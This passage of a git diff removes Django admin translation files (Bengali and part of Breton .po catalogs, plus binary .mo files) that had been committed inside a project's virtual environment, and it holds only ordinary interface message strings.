“{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} \"{obj}\" সফলভাবে যুক্ত হয়েছে৷ নিম্নে আপনি আরেকটি {name} যুক্ত করতে পারেন।" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "কাজ করার আগে বস্তুগুলিকে অবশ্যই চিহ্নিত করতে হবে। কোনো বস্তু পরিবর্তিত হয়নি।" - -msgid "No action selected." -msgstr "কোনো কাজ " - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "%s যোগ করুন" - -#, python-format -msgid "Change %s" -msgstr "%s পরিবর্তন করুন" - -#, python-format -msgid "View %s" -msgstr "" - -msgid "Database error" -msgstr "ডাটাবেস সমস্যা" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s টি থেকে ০ টি সিলেক্ট করা হয়েছে" - -#, python-format -msgid "Change history: %s" -msgstr "ইতিহাস পরিবর্তনঃ %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "জ্যাঙ্গো সাইট প্রশাসক" - -msgid "Django administration" -msgstr "জ্যাঙ্গো প্রশাসন" - -msgid "Site administration" -msgstr "সাইট প্রশাসন" - -msgid "Log in" -msgstr "প্রবেশ করুন" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "পৃষ্ঠা পাওয়া যায়নি" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "আমরা দুঃখিত, কিন্তু অনুরোধকৃত পাতা খুঁজে পাওয়া যায়নি।" - -msgid "Home" -msgstr "নীড়পাতা" - -msgid "Server error" -msgstr "সার্ভার সমস্যা" - -msgid "Server error (500)" -msgstr "সার্ভার সমস্যা (৫০০)" - -msgid "Server Error (500)" -msgstr "সার্ভার সমস্যা (৫০০)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "চিহ্নিত কাজটি শুরু করুন" - -msgid "Go" -msgstr "যান" - -msgid "Click here to select the objects across all pages" -msgstr "সকল পৃষ্ঠার দ্রব্য পছন্দ করতে এখানে ক্লিক করুন" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "%(total_count)s টি %(module_name)s এর সবগুলোই সিলেক্ট করুন" - -msgid "Clear selection" -msgstr "চিহ্নিত অংশের চিহ্ন মুছে ফেলুন" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s এপ্লিকেশন এর মডেল গুলো" - -msgid "Add" -msgstr "যোগ করুন" - -msgid "View" -msgstr "দেখুন" - -msgid "You don’t have permission to view or edit anything." -msgstr "কোন কিছু দেখার বা সম্পাদনা/পরিবর্তন করার আপনার কোন অনুমতি নেই।" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"প্রথমে, একজন ব্যবহারকারীর নাম এবং পাসওয়ার্ড লিখুন। তাহলে, আপনি ব্যবহারকারীর " -"অন্যান্য অনেক অপশনগুলো পরিবর্তন করতে সক্ষম হবেন। " - -msgid "Enter a username and password." -msgstr "ইউজার নেইম এবং পাসওয়ার্ড টাইপ করুন।" - -msgid "Change password" -msgstr "পাসওয়ার্ড বদলান" - -msgid "Please correct the error below." -msgstr "দয়া করে নিম্নবর্ণিত ভুলটি সংশোধন করুন।" - -msgid "Please correct the errors below." -msgstr "দয়া করে নিম্নবর্ণিত ভুলগুলো সংশোধন করুন।" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "%(username)s সদস্যের জন্য নতুন পাসওয়ার্ড দিন।" - -msgid "Welcome," -msgstr "স্বাগতম," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "সহায়িকা" - -msgid "Log out" -msgstr "প্রস্থান" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s যোগ করুন" - -msgid "History" -msgstr "ইতিহাস" - -msgid "View on site" -msgstr "সাইটে দেখুন" - -msgid "Filter" -msgstr "ফিল্টার" - -msgid "Clear all filters" -msgstr "" - -msgid "Remove from sorting" -msgstr "ক্রমানুসারে সাজানো থেকে বিরত হোন" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "সাজানোর ক্রম: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "ক্রমানুসারে সাজানো চালু করুন/ বন্ধ করুন" - -msgid "Delete" -msgstr "মুছুন" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' মুছে ফেললে এর সম্পর্কিত অবজেক্টগুলোও মুছে " -"যাবে, কিন্তু আপনার নিম্নবর্ণিত অবজেক্টগুলো মোছার অধিকার নেইঃ" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"আপনি কি %(object_name)s \"%(escaped_object)s\" মুছে ফেলার ব্যাপারে নিশ্চিত? " -"নিম্নে বর্ণিত সকল আইটেম মুছে যাবেঃ" - -msgid "Objects" -msgstr "" - -msgid "Yes, I’m sure" -msgstr "হ্যাঁ, আমি নিশ্চিত" - -msgid "No, take me back" -msgstr "না, আমাক পূর্বের জায়গায় ফিরিয়ে নাও" - -msgid "Delete multiple objects" -msgstr "একাধিক জিনিস মুছে ফেলুন" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Delete?" -msgstr "মুছে ফেলুন?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s অনুযায়ী " - -msgid "Summary" -msgstr "সারসংক্ষেপ" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "আমার করনীয়" - -msgid "None available" -msgstr "কিছুই পাওয়া যায়নি" - -msgid "Unknown content" -msgstr "অজানা বিষয়" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"আপনার ড্যাটাবেস ইন্সটলেশন করার ক্ষেত্রে কিছু সমস্যা রয়েছে। নিশ্চিত করুন যে আপনি " -"যথাযথ ড্যাটাবেস টেবিলগুলো তৈরী করেছেন এবং নিশ্চিত করুন যে উক্ত ড্যাটাবেসটি অন্যান্য " -"ব্যবহারকারী দ্বারা ব্যবহারযোগ্য হবে। " - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "ইউজার নেইম অথবা পাসওয়ার্ড ভুলে গেছেন?" - -msgid "Toggle navigation" -msgstr "" - -msgid "Start typing to filter…" -msgstr "" - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "তারিখ/সময়" - -msgid "User" -msgstr "সদস্য" - -msgid "Action" -msgstr "কার্য" - -msgid "entry" -msgstr "" - -msgid "entries" -msgstr "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "সব দেখান" - -msgid "Save" -msgstr "সংরক্ষণ করুন" - -msgid "Popup closing…" -msgstr "" - -msgid "Search" -msgstr "সার্চ" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "মোট %(full_result_count)s" - -msgid "Save as new" -msgstr "নতুনভাবে সংরক্ষণ করুন" - -msgid "Save and add another" -msgstr "সংরক্ষণ করুন এবং আরেকটি যোগ করুন" - -msgid "Save and continue editing" -msgstr "সংরক্ষণ করুন এবং সম্পাদনা চালিয়ে যান" - -msgid "Save and view" -msgstr "সংরক্ষণ করুন এবং দেখুন" - -msgid "Close" -msgstr "বন্ধ করুন" - -#, python-format -msgid "Change selected %(model)s" -msgstr "%(model)s নির্বাচিত অংশটি পরিবর্তন করুন" - -#, python-format -msgid "Add another %(model)s" -msgstr "আরো একটি%(model)s যুক্ত করুন" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "%(model)s নির্বাচিত অংশটি মুছুন " - -#, python-format -msgid "View selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "আজকে ওয়েব সাইট আপনার গুনগত সময় দেয়ার জন্য আপনাকে ধন্যবাদ।" - -msgid "Log in again" -msgstr "পুনরায় প্রবেশ করুন" - -msgid "Password change" -msgstr "পাসওয়ার্ড বদলান" - -msgid "Your password was changed." -msgstr "আপনার পাসওয়ার্ড বদলানো হয়েছে।" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"দয়া করে নিরাপত্তার জন্য আপনার পুরানো পাসওয়ার্ডটি লিখুন, এবং তারপর নতুন পাসওয়ার্ডটি " -"দুইবার লিখুন যাতে করে আপনি সঠিক পাসওয়ার্ডটি লিখেছেন কি না তা আমরা যাচাই করতে " -"পারি। " - -msgid "Change my password" -msgstr "আমার পাসওয়ার্ড পরিবর্তন করুন" - -msgid "Password reset" -msgstr "পাসওয়ার্ড রিসেট করুন" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "আপনার পাসওয়ার্ড দেয়া হয়েছে। আপনি এখন প্রবেশ (লগইন) করতে পারেন।" - -msgid "Password reset confirmation" -msgstr "পাসওয়ার্ড রিসেট নিশ্চিত করুন" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"অনুগ্রহ করে আপনার পাসওয়ার্ড দুবার প্রবেশ করান, যাতে আমরা যাচাই করতে পারি আপনি " -"সঠিকভাবে টাইপ করেছেন।" - -msgid "New password:" -msgstr "নতুন পাসওয়ার্ডঃ" - -msgid "Confirm password:" -msgstr "পাসওয়ার্ড নিশ্চিতকরণঃ" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"পাসওয়ার্ড রিসেট লিঙ্কটি ঠিক নয়, হয়তো এটা ইতোমধ্যে ব্যবহৃত হয়েছে। পাসওয়ার্ড " -"রিসেটের জন্য অনুগ্রহ করে নতুনভাবে আবেদন করুন।" - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"আপনার পাসওয়ার্ড সংযোজন করার জন্য আমরা আপনাকে নির্দেশাবলী সম্বলিত একটি ই-মেইল " -"পাঠাবো, যদি আপনার দেয়া ই-মেইলে আইডিটি এখানে বিদ্যমান থাকে। আপনি খুব দ্রুত তা " -"পেয়ে যাবেন। " - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"আপনি যদি কোন ই-মেইল না পেয়ে থাকে, তবে দয়া করে নিশ্চিত করুন আপনি যে ই-মেইল আইডি " -"দিয়ে নিবন্ধন করেছিলেন তা এখানে লিখেছেন, এবং আপনার স্পাম ফোল্ডার চেক করুন। " - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"আপনি এই ই-মেইলটি পেয়েছেন কারন আপনি %(site_name)s এ আপনার ইউজার একাউন্টের " -"পাসওয়ার্ড রিসেট এর জন্য অনুরোধ করেছেন।" - -msgid "Please go to the following page and choose a new password:" -msgstr "অনুগ্রহ করে নিচের পাতাটিতে যান এবং নতুন পাসওয়ার্ড বাছাই করুনঃ" - -msgid "Your username, in case you’ve forgotten:" -msgstr "আপনার ব্যবহারকারীর নাম, যদি আপনি ভুলে গিয়ে থাকেন:" - -msgid "Thanks for using our site!" -msgstr "আমাদের সাইট ব্যবহারের জন্য ধন্যবাদ!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s দল" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"আপনার পাসওয়ার্ড ভুলে গিয়েছেন? নিম্নে আপনার ই-মেইল আইডি লিখুন, এবং আমরা আপনাকে " -"নতুন পাসওয়ার্ড সংযোজন করার জন্য নির্দেশাবলী সম্বলিত ই-মেইল পাঠাবো।" - -msgid "Email address:" -msgstr "ইমেইল ঠিকানা:" - -msgid "Reset my password" -msgstr "আমার পাসওয়ার্ড রিসেট করুন" - -msgid "All dates" -msgstr "সকল তারিখ" - -#, python-format -msgid "Select %s" -msgstr "%s বাছাই করুন" - -#, python-format -msgid "Select %s to change" -msgstr "%s পরিবর্তনের জন্য বাছাই করুন" - -#, python-format -msgid "Select %s to view" -msgstr "দেখার জন্য %s নির্বাচন করুন" - -msgid "Date:" -msgstr "তারিখঃ" - -msgid "Time:" -msgstr "সময়ঃ" - -msgid "Lookup" -msgstr "খুঁজুন" - -msgid "Currently:" -msgstr "বর্তমান অবস্থা:" - -msgid "Change:" -msgstr "পরিবর্তন:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bn/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/bn/LC_MESSAGES/djangojs.mo deleted file mode 100644 index b3f7f973..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bn/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bn/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/bn/LC_MESSAGES/djangojs.po deleted file mode 100644 index 139d81c2..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bn/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,207 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Tahmid Rafi , 2013 -# Tahmid Rafi , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Bengali (http://www.transifex.com/django/django/language/" -"bn/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: bn\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s বিদ্যমান" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "ফিল্টার" - -msgid "Choose all" -msgstr "সব বাছাই করুন" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "সব %s একবারে বাছাই করার জন্য ক্লিক করুন।" - -msgid "Choose" -msgstr "বাছাই করুন" - -msgid "Remove" -msgstr "মুছে ফেলুন" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s বাছাই করা হয়েছে" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "সব মুছে ফেলুন" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "নোট: আপনি সার্ভার সময়ের চেয়ে %s ঘন্টা সামনে আছেন।" -msgstr[1] "নোট: আপনি সার্ভার সময়ের চেয়ে %s ঘন্টা সামনে আছেন।" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "নোট: আপনি সার্ভার সময়ের চেয়ে %s ঘন্টা পেছনে আছেন।" -msgstr[1] "নোট: আপনি সার্ভার সময়ের চেয়ে %s ঘন্টা পেছনে আছেন।" - -msgid "Now" -msgstr "এখন" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "সময় নির্বাচন করুন" - -msgid "Midnight" -msgstr "মধ্যরাত" - -msgid "6 a.m." -msgstr "৬ পূর্বাহ্ন" - -msgid "Noon" -msgstr "দুপুর" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "বাতিল" - -msgid "Today" -msgstr "আজ" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "গতকাল" - -msgid "Tomorrow" -msgstr "আগামীকাল" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "দেখান" - -msgid "Hide" -msgstr "লুকান" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/br/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/br/LC_MESSAGES/django.mo deleted file mode 100644 index 296f113a..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/br/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/br/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/br/LC_MESSAGES/django.po deleted file mode 100644 index cbdc3593..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/br/LC_MESSAGES/django.po +++ /dev/null @@ -1,671 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Fulup , 2012 -# Irriep Nala Novram , 2018 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-01-16 20:42+0100\n" -"PO-Revision-Date: 2019-01-18 00:36+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Breton (http://www.transifex.com/django/django/language/br/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: br\n" -"Plural-Forms: nplurals=5; plural=((n%10 == 1) && (n%100 != 11) && (n%100 !" -"=71) && (n%100 !=91) ? 0 :(n%10 == 2) && (n%100 != 12) && (n%100 !=72) && (n" -"%100 !=92) ? 1 :(n%10 ==3 || n%10==4 || n%10==9) && (n%100 < 10 || n% 100 > " -"19) && (n%100 < 70 || n%100 > 79) && (n%100 < 90 || n%100 > 99) ? 2 :(n != 0 " -"&& n % 1000000 == 0) ? 3 : 4);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "" - -msgid "Are you sure?" -msgstr "Ha sur oc'h?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Dilemel %(verbose_name_plural)s diuzet" - -msgid "Administration" -msgstr "Melestradurezh" - -msgid "All" -msgstr "An holl" - -msgid "Yes" -msgstr "Ya" - -msgid "No" -msgstr "Ket" - -msgid "Unknown" -msgstr "Dianav" - -msgid "Any date" -msgstr "Forzh pegoulz" - -msgid "Today" -msgstr "Hiziv" - -msgid "Past 7 days" -msgstr "Er 7 devezh diwezhañ" - -msgid "This month" -msgstr "Ar miz-mañ" - -msgid "This year" -msgstr "Ar bloaz-mañ" - -msgid "No date" -msgstr "Deiziad ebet" - -msgid "Has date" -msgstr "D'an deiziad" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "Ober:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Ouzhpennañ %(verbose_name)s all" - -msgid "Remove" -msgstr "Lemel kuit" - -msgid "Addition" -msgstr "Sammañ" - -msgid "Change" -msgstr "Cheñch" - -msgid "Deletion" -msgstr "Diverkadur" - -msgid "action time" -msgstr "eur an ober" - -msgid "user" -msgstr "implijer" - -msgid "content type" -msgstr "doare endalc'had" - -msgid "object id" -msgstr "id an objed" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "" - -msgid "action flag" -msgstr "ober banniel" - -msgid "change message" -msgstr "Kemennadenn cheñchamant" - -msgid "log entry" -msgstr "" - -msgid "log entries" -msgstr "" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "Ouzhpennet \"%(object)s\"." - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "Cheñchet \"%(object)s\" - %(changes)s" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "Dilamet \"%(object)s.\"" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "Ouzhpennet {name} \"{object}\"." - -msgid "Added." -msgstr "Ouzhpennet." - -msgid "and" -msgstr "ha" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "Cheñchet {fields} evit {name} \"{object}\"." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Cheñchet {fields}." - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "Dilamet {name} \"{object}\"." - -msgid "No fields changed." -msgstr "Maezienn ebet cheñchet." - -msgid "None" -msgstr "Hini ebet" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "Rankout a rit ec'h aozañ adarre dindan." - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -msgid "No action selected." -msgstr "Ober ebet diuzet." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Ouzhpennañ %s" - -#, python-format -msgid "Change %s" -msgstr "Cheñch %s" - -#, python-format -msgid "View %s" -msgstr "Gwelet %s" - -msgid "Database error" -msgstr "Fazi diaz-roadennoù" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s a zo bet cheñchet mat." -msgstr[1] "%(count)s %(name)s a zo bet cheñchet mat. " -msgstr[2] "%(count)s %(name)s a zo bet cheñchet mat. " -msgstr[3] "%(count)s %(name)s a zo bet cheñchet mat." -msgstr[4] "%(count)s %(name)s a zo bet cheñchet mat." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s diuzet" -msgstr[1] "%(total_count)s diuzet" -msgstr[2] "%(total_count)s diuzet" -msgstr[3] "%(total_count)s diuzet" -msgstr[4] "Pep %(total_count)s diuzet" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 diwar %(cnt)s diuzet" - -#, python-format -msgid "Change history: %s" -msgstr "Istor ar cheñchadurioù: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "Lec'hienn verañ Django" - -msgid "Django administration" -msgstr "Merañ Django" - -msgid "Site administration" -msgstr "Merañ al lec'hienn" - -msgid "Log in" -msgstr "Kevreañ" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "N'eo ket bet kavet ar bajenn" - -msgid "We're sorry, but the requested page could not be found." -msgstr "" - -msgid "Home" -msgstr "Degemer" - -msgid "Server error" -msgstr "Fazi servijer" - -msgid "Server error (500)" -msgstr "Fazi servijer (500)" - -msgid "Server Error (500)" -msgstr "Fazi servijer (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "" - -msgid "Go" -msgstr "Mont" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "" - -msgid "Clear selection" -msgstr "Riñsañ an diuzadenn" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "Merkit un anv implijer hag ur ger-tremen." - -msgid "Change password" -msgstr "Cheñch ger-tremen" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -msgid "Welcome," -msgstr "Degemer mat," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "Teulioù" - -msgid "Log out" -msgstr "Digevreañ" - -#, python-format -msgid "Add %(name)s" -msgstr "Ouzhpennañ %(name)s" - -msgid "History" -msgstr "Istor" - -msgid "View on site" -msgstr "Gwelet war al lec'hienn" - -msgid "Filter" -msgstr "Sil" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "Eilpennañ an diuzadenn" - -msgid "Delete" -msgstr "Diverkañ" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "Ya, sur on" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "View" -msgstr "" - -msgid "Delete?" -msgstr "Diverkañ ?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " dre %(filter_title)s " - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "Ouzhpennañ" - -msgid "You don't have permission to view or edit anything." -msgstr "" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "" - -msgid "Unknown content" -msgstr "Endalc'had dianav" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " 